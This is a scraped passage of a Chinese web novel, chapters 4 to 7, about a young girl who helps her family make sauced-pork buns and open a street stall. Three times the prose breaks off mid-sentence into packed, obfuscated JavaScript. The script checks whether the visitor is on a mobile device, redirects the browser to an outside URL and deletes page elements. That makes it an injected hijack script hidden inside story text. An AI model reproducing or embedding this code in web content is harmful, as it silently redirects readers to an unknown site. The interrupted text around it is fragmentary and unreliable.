崔如英把包子往锅里放，二丫就在下头烧火，许娘子又回屋去了，她还没说马上要去侯府做奶娘的事儿，她想等崔大山回来再说。 不过肉都买了，二丫估计也能猜到。 崔如英道：“娘，一会儿蒸熟了，我可得先吃两个。再给刘婶儿送几个去吧，这不多亏了她。” 十八文钱能买九个肉包子，但自己买肉，葱和水放的多，大的小的都有，崔如英数着，有八十多个。 许娘子点点头，女儿还没吃早饭，本来就是应允了的事儿，先吃两个就先吃两个，刘婶儿那边帮了忙还是大忙，送几个过去也是应该的。 崔如英这回哪儿都没去，就守着锅，许娘子让她把烤红薯热一热她都不愿意。灶膛里火光跳跃，热气透过锅边围着的布条冒出来，熏得人脸热。 二丫在旁边添火，也不知道烧了多久，鼻尖都能闻到香味儿了，崔如英这回舔了舔嘴：“姐，还得多久？” 二丫道：“蒸包子不得蒸一刻钟多。” 五郎也进来蹲着，豆丁大点的人，眼睛睁得大大的。 崔如英都好几年都不做饭了，也不知道这回能不能成不成。不成应该不至于挨打，但是肯定少不了被骂几句。 崔如英就这样等啊等，时不时就问一句，“姐好了没？” 二丫估摸着时间，又看了一眼灶膛里面的柴火，“烧干就差不多了。” 崔家不缺木材，火烧得旺，崔如英能听见蒸屉下面的水咕噜咕噜冒泡的声音。 这会儿包子的香味儿已经飘得到处都是了，还有一锅，一会儿再蒸。 这会儿锅里还有热气，要是揭锅得把人烫伤了。 许娘子也出来了，怀里抱着六丫，崔如英觉得等的时间可比包包子漫长多了。 等啊等终于等到二丫把围在锅边的布条收走，大锅揭开，看那包子的样子，比放上去时大了不少，面皮已经被汤汁浸成了酱色。 面香肉香浓郁，热气扑面而来。 崔如英欢喜道：“娘！” 许娘子：“快吃吧快吃吧，二丫五郎，你俩也尝尝。” 崔二丫咽咽口水，“我等爹回来再吃。” 崔如英懒得管她，找了个碗挑了个大的，包子是最热的时候。她先吹了吹，然后使劲咬了一大口，舌尖免不了被烫了一下，但是面软馅儿香，带着丝丝甜酱味儿。 水嫩多汁，好香！ 二丫给五郎捡成一个，他更是狼吞虎咽。 许娘子看着两个孩子吃的这么香，对二丫道：“也中午了，你先吃一个。” 二丫这才点点头，捡了个小的，放到嘴边轻轻咬了口，她没吃到馅儿，但是吃到了浸着油和汤汁的包子皮，又香又软，好吃的不得了。 二丫往许娘子那边递了递，“娘你尝尝，可好吃了！” 许娘子本来不想吃，但轻轻咬了一口，眼睛一亮，“你这儿咋做的。” 崔二丫道：“我就活了个面，三丫弄的馅儿。” 崔如英都快把一个包子吃完了，她抽空道：“有一回出去看人卖包子的这么弄，我想两斤肉一家吃，就要多薅了点葱。” 崔家并不大，院子也小，三畦菜地种了葱、白菜、油菜这些，还有些萝卜种子，这会儿还没出芽呢。 许娘子往外望了一眼，葱地的确被薅秃了一大片，她道：“你也间着薅，光可着一个地儿！” 崔如英吃完一个包子胃里才好受一点，二丫的包子小，但慢慢尝还剩一半呢，趁着锅热，把包子捡到盆里，加点水好蒸下一锅。 崔如英又从锅里拿了一个，这回慢慢品尝，“那不快一点嘛。” 崔家蒸包子的香味飘得到处都是，崔如英吃完两个，由许娘子捡了五个包子，让她给刘婶儿家送去。 这些事交给崔如英办最放心。 刘婶儿知道事成了，也高兴，牵个线不费劲，见着包子还推脱不要，崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吃过饭，二丫把碗筷刷了。 夫妻俩在屋里说话，许娘子问崔大山包子好吃不。 崔大山道：“当然好吃啊。” 他今天都没吃够，要是卯足了劲儿吃，估计都剩不了几个，他一个人就能吃十个。 崔如英中午吃了四个，两大两小，崔大山才吃三个。 “要是拿出去卖，应该也能卖出去。” 崔大山做木匠活,累一天一个月也才五钱银子，还是给别人做事。大郎跟他爹学手艺，日后也就这样。 可今天从街上回来，还没到中午呢，包子摊上的包子就全都卖完了。 许娘子是吃过那个肉包子的，没中午的好吃。 他们要是去卖包子，就拿中午的两斤肉来说，一个两文钱还能卖一百来文呢，一天一百来文，一个月那不得三四两银子。 从前没手艺，崔大山和二丫做的也不好吃，如今能做的好吃了许娘子就想多一点。 她去侯府是不假，一个月有三两银子，做的好没准儿会拿赏钱。 可是这些钱也不能乱花，要留着买房子，大郎要成亲，以后还有四郎五郎呢。 奶娘也不能总做，她今年都三十了，还能再生孩子也没如今奶水足。 “你说三丫吃个包子，睡一下午了都，家里孩子都想吃肉。” 崔大山道：“娘子，是我没本事，不过我都听你的。” 崔如英醒了，听到的就是这句话，什么听娘的，天怎么都黑了。 许娘子道：“先看看再说，咱们没做过生意，要是生意那么好做，不都去做生意了。” 离去侯府还有十天呢。 崔如英坐起来，天已经黑了，家里没点灯，隔着一个木板子，她听见爹娘在说话月光从前后窗子透进来，崔如英喊了声娘。 许娘子从床上下来，又支使崔大山把包子拿来，“三丫醒了，都睡一下午了。” 崔如英打了个哈欠，“娘，要做什么生意呀？” 5. 第五章 崔记包子 许娘子从木头隔板外过来，坐到小木床边，先摸了摸崔如英的脑袋，她道：“没啥生意，饿不饿？让你爹给你拿了个包子。” 崔如英点了点头，她都不知道自己睡了这么久，仔细感受一下，肚子还真有点饿。 崔大山把包子拿了过来，因为一直在锅里，这还温热着呢，不过热了之后皮有些软，不如刚蒸出来好吃，一个包子吃完，崔如英差不多饱了。 崔如英差不多能猜出，她娘是想做包子生意。 因为上午回来看见卖包子的小摊贩把包子全卖光了，而且做生意都是从小本买卖开始做，本钱少，亏钱也能承受得起。 这不刚有二两银子。 至于从前没想过，那是因为家里做菜的手艺不好，做的并不好吃。包子谁家都会做，可不见得谁家都出去卖。 做生意好呀，比埋头做木工活儿强。 再说了，当奶娘不是长久之计。许娘子今年都三十了，在侯府当奶娘得一年多，还得养养身子，到时都三十四五了，都已经生了六个，可不能再生了。 崔如英道：“不告诉我我也知道，娘想去卖包子。” 天黑透了了，月光洒进来，她就着光亮下床去拿柳枝，得刷牙，不然明早嘴都臭了。家里人只有她有这个习惯，毕竟一口好牙才能吃嘛嘛香，不过市井人家没那么多讲究，为此许娘子没少说她。 许娘子只见过伯爵府的人这样做，不过今天崔如英立了大功，说要星星给星星也不为过。 这时节夜里还冷，许娘子让崔大山舀点温水来，“你知道什么。” 崔如英刷了牙，抹了把脸，许娘子这回让崔如英快点睡觉，天黑了不睡觉做什么，点着灯还费灯油钱。 她坐在床上，道：“娘，想做生意就做呗，咱们也卖包子去。” 许娘子点了点崔如英的额头，“做生意哪儿那么简单，说卖就卖” 崔如英是小孩子，啥话都能说，她道：“咋不是说卖就卖，爹能做蒸屉，就差买面和肉，要是怕亏钱，咱们就少买一点呗，先试试能不能卖出去再说。” 许娘子的确有这个念头，但是她和崔大山一辈子本本分分，做的最出格的事就是去当奶娘，可是做奶娘的时候也恪守本分，不该做不该问的事，一概不做不问。 真让她去做生意，许娘子觉得自己做不来这个。 像街上的摊贩一样当街叫卖，这个许娘子就不行，她张不开嘴。 崔如英却拉着许娘子不让她走，“娘，反正去侯府还有十天呢，咱们先试试，我可以去叫卖呀，只要一个月赚的比五钱银子多，那就是赚的。” 毕竟崔大山做木匠活一个月还有五钱呢，要是让崔大山把木匠活辞了，一个月赚的比五钱少，那就是亏钱。 许娘子被她说的也不知该怎么办，心里又急又恼，“行了行了，天黑了不睡觉，你再不睡，就有坏人把你抓走。” 崔如英才不怕这个，她都多大了还用这个骗她，不过她还是往床上一躺，把被子一蒙，“睡了睡了，这就睡了。” 小孩觉多，别看崔如英睡了一下午，这没一会儿又睡着了。 崔如英自是不知道许娘子这一夜都没怎么睡，第二天一大早就去街上的粮食铺子买了面粉，面粉七文一斤，买了十斤。 崔如英醒的时候，许娘子已经回来了。 多了钱，还买了些调料。 菜倒是不用操心，因为家里都有，一夜过去小葱又长高长粗了不少。 许娘子勤快，锄了锄草，院子里本来养着几只鸡，但许娘子坐月子，崔大山全给杀了，为了喝鸡汤还跟邻居家换了几只，现在笼子还空着。 今天还是许娘子坐月子的第三十天，也是六丫满月，虽说孩子多了也不想着办，但是中午的时候刘婶儿过来了。 刘婶儿拿了六个红皮鸡蛋，“六丫满月，我过来看看。” 家里下的鸡蛋算起来还不到一文钱一个，那五个包子外面卖得两文一个，不过刘婶儿觉得这包子比外面卖的好吃。 人情往来就是如此，你来我往走动着，关系才能越来越好 刘婶儿过来问了问许娘子去侯府当奶娘的事儿，许娘子也都一一说了，还夸了夸崔如英。 刘婶儿道：“我看三丫也是个能说会道的，这不给你挣了脸面。” 两人说了一会儿话，刘婶儿要走，许娘子留她吃饭，刘婶儿道：“我这还得回去做饭呢，你们吃。” 许娘子又给装了两个包子，“拿回去给孩子吃，三丫，送送你婶子。” 崔如英把人送到家门口，跑回来看见许娘子在院子里薅小葱。 许娘子薅葱和崔如英不一样，捡着长得密的间着薅，这样其他的才能长得快一点儿。 崔如英笑着凑过去道：“娘，你薅葱呢，还买了面，要包包子。” 许娘子本来想呵斥要你话多，但是一想包子馅儿还是崔如英做的，便点了点头，“娘想明天早上去街上试试。” 说实话，卖包子也不容易，得大早起去买肉剁馅儿，发面蒸包子蒸好了再拿去卖。 也是辛苦钱。 再辛苦能赚钱就行。 那天许娘子和崔如英出门，那么早就有人摆摊了，她也得那么早去才行。 自己倒还好，吃苦也没事儿，可三丫才七岁。 许娘子问道：“那么早你能起来吗？” 崔如英心道这是哪儿的话，“肯定能，那让二姐在家看六丫他们，我跟娘去不就成了。明早早点起来，我跟娘去买肉活馅儿。” 许娘子笑了笑，又问：“做馅儿还需要什么？” 崔如英数着道：“需要大酱，姜蒜，花椒……” 既然出去卖，那每天的包子味道得一样，多少馅儿放多少葱多少水，蒸多大包子，可不能这个大那个小，客人看了不得打起来。 许娘子没做过生意，不懂这些，忙活了一下午，还得进屋喂六丫，也是腰酸背疼。她心里盘算着，姜蒜家里还有呢，花椒也有，面粉本钱就七十文了，葱是家里种的，不算。 明早怎么也得买四斤肉，这就一百来文了…… 等着夜幕降临，许娘子心里还有愁绪，家里孩子太多了，生了六丫后有人还问过她，要不要送出去一个，她哪个也舍不得。 天黑一家人睡得早，次日一早，崔如英是在剁猪肉馅儿的声音中醒过来的。 天还没亮呢，窗外月亮倒是亮着。 崔大山怕吵到别人家，案板下面垫了稻草，他昨天把蒸屉给做出来了，拿竹条编的，三个大屉，算上家里的，一锅就能蒸七八十个。 先蒸一锅，让许娘子跟崔如英拿出去卖，然后他在家蒸另一锅，蒸好了再给送过去。 南街离家里不远，头一回还不知道啥样，就用崔大山运木材的小推车给推过去就成了。 要是生意不好，包子就家里人吃，崔大山上次没吃够，这回能卯足劲儿吃了。 许娘子已经把面发上了，见崔如英醒了说道：“正想去叫你呢，快给娘看这馅儿咋弄。” 昨天崔如英说了两遍，许娘子还是没记住，咋还又炒又放水，她和崔大山俩人忙活还手忙脚乱的。 崔如英去洗了手，“娘，今天我弄吧，你先看着。爹，你也看着。” 生意真好的话，等她和许娘子去侯府，崔大山就得把蒸包子的事儿担下来。 做这馅儿也费事，一半拌葱一半放酱炒了，然后再以葱姜花椒水溶进去。 因为有炒过的肉末，所以不会成一个丸子，显着肉馅儿还多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660117|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 包好的包子还得在锅里就着温水里坐一会儿，让面发发，这样蒸出来后才又大又软。 崔大山一边看一边挠头，这一时半会儿还真记不住。难怪有的摊贩就在街上做，都不怕别人把方子给偷了去。 崔大山寅时就去买肉了，留许娘子在家发面，四斤肉八斤面，多的面就蒸馒头。 过了一会儿崔二丫也出来，啥话没说，揉着眼睛去灶膛烧火了。 崔大山见厨房帮不上忙，就摸着黑去擦车，卖吃的车也得干净点。 而许娘子在屋里转了两圈，最后把六丫抱起来喂了喂，出来又问包子好了没。 崔如英能闻到包子的香味，但烧火的是二丫，她也不知道好了没。 崔二丫道：“把这把柴烧完就差不多了。” 四屉包子，得比平时多烧一会儿，不然上不去气。 快到卯时，二丫看灶膛的火灭了，估摸着道：“应该差不多了。” 锅盖揭开，包子比那次蒸的还好，一个个又大又圆，一个挨着一个一个挤着一个，汤和油透过包子皮，让包子看起来更加油亮。 许娘子看看了下面几屉，也不错，笑着招呼崔大山把锅搬到车上捆好。 崔如英回屋里拿油纸，许娘子又把钱匣子拿上，夫妻俩推车往街上走。 天还没亮呢，巷子里安静极了，邻居家都黑着，走了两步，崔如英听见狗叫，给她吓了一跳。 “三丫，上来，爹娘推着你走。”许娘子这会儿心潮澎湃，心里就像包子一样冒着热气。 崔如英往车上一坐，“娘，还有多久呀。” 家里二丫看着火呢，崔大郎看着弟弟妹妹，一会儿崔大山还得回去。 这样的日子也好，一家人都在一块儿。 许娘子：“快了，一会儿到了你先吃个包子。” 崔如英却摇摇头，“娘，我今儿想喝豆浆吃油条，成吗？” 总吃包子也吃够了，再好吃也不能连着吃三顿，前天中午吃了四个，晚上一个，昨天中午吃两个，再吃她都成包子了。 许娘子咬咬牙，“只要咱们包子能卖出去，今儿你想吃啥就吃啥。” 街上摊贩已经开始摆摊了，卖阳春面的摆上了桌子椅子，来吃早饭的多是一大早去上工的，来不及在家里吃，有个桌子吃起来也方便。 这条街热闹，除了卖早食的，还有来这卖活鸡鸡蛋的。 这个时辰衙门的还没上职，所以连摊位费都不用交，不过要是待太久，等着衙门的人过来，不仅得被赶走，还得交银子罚钱。 崔家人来的不算早，位置也由不得他们挑，就在卖烧饼和卖豆浆油条的中间挤了块巴掌大的地方。 摆了两条凳子，把蒸锅架在上头。锅盖揭开，白胖的包子皮，有的浸了褐色的酱汤。 行人路过，来去匆匆。 许娘子原本心潮澎湃，但这会儿看着这么多人，又不知道该怎么办了，想叫卖让人来买包子，可喉咙里就跟塞了棉花似的，实在喊不出来。 嘴巴张张合合，崔大山也是如此，许娘子看着女儿，“三丫……” 崔如英人小声音也甜，大声喊道：“卖包子喽，崔记包子，崔记酱肉包！好吃的酱肉包！不好吃不要钱嘞！” 崔如英连着喊了三遍，还对路过的人道：“大哥大叔，要不要尝尝酱肉包。” 做生意卖东西就得厚脸皮，光东西在这儿摆着，别人路过，只知道是包子，可整条街光卖包子的就有三家。 许娘子还担心着，可生意这就来了。 一个壮汉过来问：“小姑娘，你说不好吃不要钱的？” 崔如英笑着道：“您就尝好了吧，我们这第一天开张，肯定不会砸自己招牌。大叔你拿几个？” 6. 第六章 抓小鸡 壮汉道：“给我装两个。” 崔如英对许娘子道：“娘，快拿包子收钱呀。” 两个包子用油纸装着，许娘子递给了壮汉，崔如英道：“尝着好吃下次再过来，我们家包的又大馅儿还多。” 包子正热，壮汉咬了一口，没说好吃不好吃，但没提不好吃倒找钱的事儿，大步流星地走了。 这就四文钱了。 万事开头难，有崔如英叫卖，生意还不错。 一共四屉，来这么一会儿已经卖了八个了，一共六个人来买，比许娘子想的多。 也有人嫌包的样子不好看，指着包子道：“这都快破皮儿了。” 崔如英解释着，“婶子，这崔记酱肉包就是这样，一咬流汤，满口留香，从别处还吃不到这个味道呢。这包子皮都快挤破了，婶子也能看见里面肉馅儿多多了吧。” “行吧行吧，给我来一个，捡大个的。” 许娘子挑了个大的递过去，那婶子也没急着吃，揣在怀里，大约是要带回去给儿子的孙子带回去。 崔大山就在旁边傻愣愣站着，想要装包子可是有许娘子，想要收钱，可有钱匣子，“娘子，要不我先回去拿包子。” 许娘子笑着点点头，“回去吧，你回去吃点东西。” 包子已经卖了九个。 街上热火朝天，也有人故意逗崔如英，“小姑娘，这么早就来帮家里卖包子呀。 崔如英道：“那还不买两个尝尝，崔家酱肉包，尝过都说好。大哥看旁边还有卖豆浆的，一个包子，一碗豆浆，吃了多舒坦呀” “成，来一个吧。” 买包子的人越来越多，只不过没有崔如英想象中的那种咬了一口惊为天包，然后一传十十传百，大多是带着包子去上工，几口吃完，来去匆匆的。 生意说好算不上好，比不上旁边卖豆浆油条的人多，但也不算差，不时有人听着崔如英的叫卖声过来，买上一两个。 在这儿一刻钟多，已经卖了半屉多了。 崔家包的包子大，一屉装了十七八个，许娘子看着女儿叫卖的用力，也张开嘴在后面喊：“尝尝包子，崔家的酱肉包，崔记肉包子！” 喊这些的时候许娘子面红耳赤，不过女儿都这么卖力了，她不想让女儿这么辛苦。 “三丫，你去吃根油条，喝碗豆浆去。” 就在旁边，还有桌椅。 崔如英不干，她想卖完再吃，“一会儿吧，都尝尝崔家的酱肉包，好吃的酱肉包。又大又香，比脸还圆，比手还大！” 为何喊的时候要带个崔家，万一人家觉得好吃，下回还能找过来，到时候一想起好吃的包子，就想到他们家的酱肉包。 一来二去回头客就多了。 崔如英只管叫卖，许娘子装包子盯着钱匣子，一个个铜板越来越多，她数着卖了多少个，等第三屉卖空时，许娘子算着，今儿差不多回本了。 这回许娘子担心的就不是能不能回本儿了，而是担心都过去这么久了，崔大山怎么还不来？ 这男人办事儿就是磨蹭，要是一会儿包子卖完了，崔大山还没过来，人家客人想吃都吃不到了。 第四锅又卖了五个包子，许娘子才看见崔大山带着二丫推着车过来。 崔大山看着空了的竹屉，脸上一喜，忙把车上的包子给卸下来 崔如英对众人喊道：“大家慢慢来，包子还有呢，想吃多少有多少，不要抢不要挤，一个一个买。” 旁边卖豆浆的老板一脸狐疑，也没那么多人呐，咋就抢了挤了。 崔如英从前卖东西也这样干过，这样能显着东西好，来买的人多。 人总是从众，看别人买自己就想买，不管东西好不好，势得造出去。 崔二丫在旁边看着，她对家里卖包子的事儿一直半解的，反正爹娘让她做啥她就做啥。 天慢慢就亮了，街上人多了些，生意也比刚来那会儿好。 空了的竹屉就放车上，最后一屉剩下几个，这会儿人也少了，许娘子打算给崔大山吃两个，然后再给家里孩子分分。 这一大早上出来，早饭还没吃，崔大山还得去木匠坊上工。 不过答应崔如英的事儿得做到，许娘子从怀里数了两个铜板出来，“三丫，你去旁边喝豆浆，吃油条去吧。” 看了看二丫，许娘子又加了两个铜板，“带你姐也去。” 二丫道：“娘，我吃包子就行。” 崔如英把钱往怀里一揣，“那我自己去。” 卖豆浆的老板油条是现炸的，他得一直等到过了辰时才收摊。看着崔如英，不禁问：“你家包子那么好吃咋不吃包子呀？” 崔如英道：“家里的好吃还得卖钱呢，大叔有空也去尝尝。” 许娘子是照着包子钱给的，但一碗豆浆加一根油条才一文钱，要说好吃，肯定是包子好吃，但是崔如英今天就想吃这一口。 她都多久没吃过豆浆油条了，豆浆热乎乎的，这个时代可没什么科技，全是今早上现磨出来的，用沸水煮着，吹一吹还能起豆皮儿。 油条是现炸的，金黄酥脆一大根，全是面本钱不多，但是上工的人爱吃这个。 比肉包子实惠，还能吃饱。 豆浆油条端上来时把许娘子跟崔大山他们已经收拾好摊子，准备回去了，许娘子道：“三丫，吃完赶紧回去，不许乱跑啊。” 崔如英点点头，“娘你放心回去吧。” 她把油条掰成一段一段的，全给泡在了豆浆里，满满一碗白花花金灿灿，闻着就香。 先喝一口豆浆，又舔干净嘴边的白沫，这才尝了一口泡过豆浆的油条，外酥里软还不腻。 这和吃肉不是一个香味，一文钱花了，还剩三文，明儿还能来吃一天，剩下两文钱就是她的私房钱了。 崔如英埋头猛吃，因为人小，坐在椅子上腿还一晃一晃的，正吃着，听有人问：“哎，刚才那卖包子的呢？就是那个崔记包子。” 崔如英抬起头一看，是那个说包子样子不好看，都快破皮儿了的婶子。 崔如英举了举手，“这儿呢，这儿呢，婶子我们包子卖完了，我爹我娘都回去了。你要想吃得明天了。” 那婶子猛的拍一下腿，哎呀，来晚了，她就买了一个包子回去，孙子吃了还想再吃，紧赶慢赶回来还是晚了。 崔如英道：“明儿我们还来呢，您就记着崔记包子就行，不然今儿先买点油条豆浆吃，我吃他家也可香啦。” 做生意与人为善，虽然没啥太大用处，但是省着别人眼馋。 那婶子最后也没买，崔如英吃饱喝足，放下一文钱，赶着回家。 人来人往中，看着做什么的都有，巷子口有人坐在一起说话，看见崔如英还说道：“三丫回来啦。” 崔如英一个一个叫完，拔腿往家里跑。 崔大山和崔大郎已经上工去了，二丫在院子里洗衣裳，一家人的衣裳也得洗好大一会儿，崔如英懒得洗，就当没看见直往屋里跑。 四郎五郎没在院子里，屋里也见没人，不知道去哪了。 许娘子正抱着六丫喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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至于中午吃啥，崔如英猜大概是玉米面的饼子，连着两天吃了肉包子了，就算赚了钱许娘子也不会可着劲儿花。 早上买肉给了根大骨头，用来炖菜合适。 崔如英早上吃的心满意足，也不在乎中午吃什么，如今家里有赚钱的生意，她就可以放心跟着许娘子去侯府了，再不济还能回来卖包子呢。 许娘子也是这样打算的，这些天就让崔大山崔大郎帮忙，木匠坊的活先不辞着，以后大郎想学手艺能让崔大山教。 等着她们去侯府的前两日再把木工活辞了，专心卖包子。 一门手艺足够养活一家人了。 许娘子还准备扯块布，给崔如英做身新衣裳，去侯府还是得体面点儿，再给崔大山做一身，卖东西还是干净点好。 这些事儿足够许娘子忙活了。 崔如英没带过孩子，四郎五郎出生时，她还小呢，这会儿也新奇，忍不住拉了拉六丫的手。 那手可真小，脸也小，哪儿都小。 崔二丫进来时，看见小妹妹眉头蹙蹙，鼻尖耸着，崔如英在床边伸手戳来戳去，她忙道：“我看就行了，你快出去玩吧。” 崔如英去了院子，这几天没下雨，她就给地浇浇水。 这边等着，门口有动静，应该是许娘子回来了，她出门一看，许娘子背上背着一袋子面，手腕挎着个竹篮子，里面传来叽叽喳喳的声音。 崔如英往里一看，一堆毛茸茸正伸着脖子叫唤，“娘，你抓小鸡回来啦！” 7. 第七章 阳春面 家里原来有六只鸡，但许娘子坐月子，崔大山全杀了炖着吃了。那天刘娘子过来拿了六个鸡蛋，许娘子放鸡蛋的时候发现家里不剩几个鸡蛋了，这才又琢磨起养鸡来。 她选了十二只鸡，看着都是母鸡。 养大一些能下蛋，家里人多，就算不拿出去卖，也够孩子们补身子。 若非赚钱了，许娘子只打算抓六只，她看鸡不错，今天还赚了钱，这才一下子抓了十二只。 许娘子：“正好碰见了，你看这鸡多壮实。四郎五郎呢？让他们去地里逮蚂蚱抓虫子去。” 四郎五郎一个四岁，一个两岁，要么在院子里玩泥巴，要么出去跟巷子里的孩子打仗玩儿，抓蚂蚱虫子正合适，还省着总在外乱跑。 崔如英看着小鸡仔毛茸茸的好可爱，比刚出生的小孩儿还招人稀罕，这养大了，就能做成红烧鸡鸡公煲黄焖鸡，这样看着更可爱了。 崔如英：“娘，我去扫鸡笼子！” 许娘子说道：“这个不急，这会儿还天还冷呢，早晚都得放在屋里，不然得冻死。” 马上就要去侯府了，许娘子得为家里打算。 今儿出去还没来得及扯布呢，等明儿出了摊再说吧。 许娘子都觉得自己这两日手大，钱一下子就花出去了。 许娘子打算明天早上多做些包子，这样赚的钱还能多点儿，今儿收摊早，明天再去，今天尝着崔家包子好吃的兴许还来，买的人会更多。 不过许娘子是个稳妥的人，就打算多和两斤面。五斤肉馅十斤多的面，能多蒸两屉包子。 许娘子一回来看六丫就不用姐妹俩操心了。 二丫也稀罕小鸡仔,去地里拔了些被虫子咬过的白菜叶子,剁碎撒在篮子里。从前养鸡没吃完的饲料家里还有，只不过鸡仔太小，得烧热水泡着吃。 崔如英在一旁看着，兴致勃勃的，二丫看了看崔如英，欲言又止的。 崔如英：“姐？” 二丫道：“三丫，我教你喂鸡，你教我包包子的吧。这样等你和你娘去了侯府，我也能帮忙。” 崔如英赶紧摆摆手，她没想喂，“姐，我就看看，我跟娘一走，家里肯定你挑大梁呀，你着啥急。” 要不怎么说人二丫老实呢，要是崔如英肯定想着，都走了肯定得让她帮忙，能拖到最后绝不早做。 二丫一听，也是这个道理，一想自己挑大梁，那股气就油然而生了。 二丫：“谁让我是当姐姐的。” 家里叽叽喳喳的，中午饭简单得很，玉米面的饼子，骨头汤炖白菜。 冬天囤的白菜多，一直够吃到四月份的，等白菜吃完，别的菜就长出来了。 下午许娘子就去地里薅小葱，经过一天，小葱好像又大了点，就和刚出生的六丫一样，嗖嗖长。 因为明儿早起要出摊儿，所以崔家一家八口，晚饭比平日早，睡觉也比平日早。 天刚黑下来就全躺好了，早早睡了才能早早起来，次日一早，崔如英是被许娘子叫起来的。 猪肉已经剁好了，小葱切了一大盆，葱姜花椒水也没用崔如英操心。 但还得等着崔如英做馅儿，许娘子和崔大山昨天看崔如英活馅儿，好像有那么个意思，可还是觉得差点啥，也不敢下手。 崔如英打了两个哈欠，这会儿刚寅时，今天不知怎么回事儿月亮还藏起来了，外面伸手不见五指。 许娘子怕做这个不干净，点了两盏油灯。 灶膛里柴火劈里啪啦的，崔如英一步一步地教，“娘，肉馅儿的一分为二。一半做生馅儿，一半放面酱、酱油给炒熟了。因为咱们的酱是咸的，所以得加糖，两勺面酱一勺糖，一斤肉馅儿两勺酱。” 崔如英回头，看许娘子和崔大山听的极其认真，她好像记起自己刚长大时，许娘子温柔地教她说话走路。 虽然崔如英不用教，但那时许娘子笑得很温柔，她一直记着。 吸吸鼻子，崔如英又道：“葱就好说了，一斤肉半斤葱，按照这个来，每天的包子味道差不多。肉馅儿一定得炒熟了，每一粒儿跟每一粒儿分开，这样包的馅才不会成一个肉丸子。”崔如英人小，轮的胳膊疼，崔大山就把铲子接了过来。 他力气大，翻得更均匀，崔如英捧场道：“爹，就是这样的，爹，你炒的可真好。” 崔大山不太好意思地说道：“我这也是按照你说的弄的。” 做爹娘的不想儿女劳累，今儿馅儿是许娘子自己拌的，崔如英在旁边托着下巴看着，哪儿不对了，就指一下，“娘你做的已经挺好了，但是你把水放进去后绕着一个圈搅会更好更快。” 许娘子试了试，“还真是。” 崔如英：“这馅儿拌的，可比那卖了好几年包子弄的好多了。” 许娘子低着头道：“哪儿有。” 包包子就不用崔如英操心了，许娘子会，崔大山也会，想包成一样大小的也不难。包好的包子还得一会儿蒸熟呢，许娘子对崔如英道：“你再回去睡会儿。” 太早了，大人还好，但她看崔如英一早已经打了五六个哈欠了。 崔如英问：“那娘，今儿还用我去卖包子吗？” 许娘子想了想，自己还是张不开那个嘴，三丫在还好一点，让二丫去更不成，“去，今儿你是还想吃油条还是吃啥？” 崔如英道：“想尝尝阳春面，那娘还给我钱不？” 许娘子刚想说昨天不给了四文吗，可看着笑盈盈的女儿，也问不出了，道了声给。 崔如英：“那我去睡觉了，娘你一会儿叫我！” 崔如英去屋里看了眼六丫，如今四郎跟着崔大郎睡，五郎六丫都跟着崔大山许娘子睡，俩孩子睡得沉，雷打不动的。 崔如英回自己的小屋子，里面有个小木床，还有个小柜子，是崔大山给她打的。 被子里还有热气，钻进去没一会儿她就睡着了。 许娘子崔大山还在包包子，蒸了一锅，还有一锅呢。 油灯下，许娘子白净的面庞显得十分温柔，“等我和三丫去了侯府，家里你就多看着些，早晨跟大郎去卖包子，二丫是姑娘家，你和大郎多干点。 等我走之前把白米和小米磨成粉，每天冲米糊糊给六丫吃，我还抽空回来呢，等到后头喂些鸡蛋羹啥的，家里没鸡蛋了你买也成，去刘姐家换也成，到时拿俩包子过去，别空着手。 等着攒点钱了，我还是想让大郎继续读书。 这事儿还早呢，到时候再说吧。” 许娘子絮絮叨叨的，崔大山耐心听着，眼睛里带着笑意。 他时不时搭一句话，“好，行，家 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蒸锅架在了两把椅子上，从上往下卖，这婶子买了四个包子，八文钱到手，平铺在钱匣子底下。 崔如英也没来得及喊，说来买包子的络绎不绝有些夸张，但卖的比昨天快。 蒸锅是够的，昨天崔大山又做了几个，不过还得赶着回去去拿另外几屉包子。 崔大山回家了，崔如英跟许娘子在这儿叫卖，崔如英时不时吆喝几声，坐在小板凳上跟客人搭话，“您就放心吧，我家的包子好吃得很，你看着皮儿薄馅儿大的，是不是从外头就能看出馅儿大了！” 这肉炒过的确占便宜，看起来馅儿也多。再加上甜咸口一咬，满口留香，尝过的人一时半会儿还真不想吃别的。 崔如英今儿还看见昨日第一个来买包子的那个壮汉了，她对许娘子道：“娘，送大叔一个包子吧，昨儿生意开门红，还多亏了大叔呢。” 许娘子给多拿了个包子，也学着崔如英的话道：“好吃，下次……常过来。” 今日比昨天容易，许娘子就专心装包子，崔如英还能分出心思来盯着钱匣子。 也是因为位置好，这一车都快卖完了，崔大山还没过来。 崔如英数了数锅里的包子，还有四个，她跟等着的人道：“就剩四个了，我爹还得一会儿，要是不着急的，可以等等看。要是着急咱们还是去吃别的去吧，可别耽误了正经事儿。” 众人也觉得稀奇，这小姑娘说话一板一眼的，跟个大人似的。 有人着急走了，也有人在这儿等着，不多时崔大山就推着车过来了。 家里还有两屉没蒸好，今儿生意比昨儿好，应该都能卖出去。 天色见亮，太阳升起，最后就还剩一屉多包子，许娘子也不着急了，给了崔如英两文钱说道：“吃阳春面去吧。” 一碗素面一文钱，这还能加个蛋。 因为收鸡蛋也要不了一文钱一个，面摊老板卖一文一个蛋，还有的赚呢。 崔如英点点头，顺着街找到卖阳春面的摊子，找了张桌子坐下，“大叔，我要一碗阳春面，再给我加个蛋！” 